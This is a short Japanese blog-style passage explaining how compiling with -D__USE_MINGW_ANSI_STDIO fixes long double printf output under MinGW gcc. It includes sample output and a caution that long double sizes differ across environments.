解決策は-D__USE_MINGW_ANSI_STDIOのオプションをコンパイル時に指定すればいい。 こんな感じになる。

$ gcc test.c -D__USE_MINGW_ANSI_STDIO
$ ./a.exe
sizeof(long double): 16
sizeof(double): 8
ld = 1.000000e-001

こうすればANSI規格かなんかになっているstdioを優先して使ってくれるような感じで上手くいくっぽい。 詳しく調べてないから具体的には分からない。

long double自体ビット長が環境によって結構違うっぽい(80bitとかもあるみたい)なので、使うのはできるだけ避けるかsizeofでビット長が想定している長さかをチェックした方がいい。
gccなら拡張機能として128bitの浮動小数点があるのでそっちが使えるかもしれない。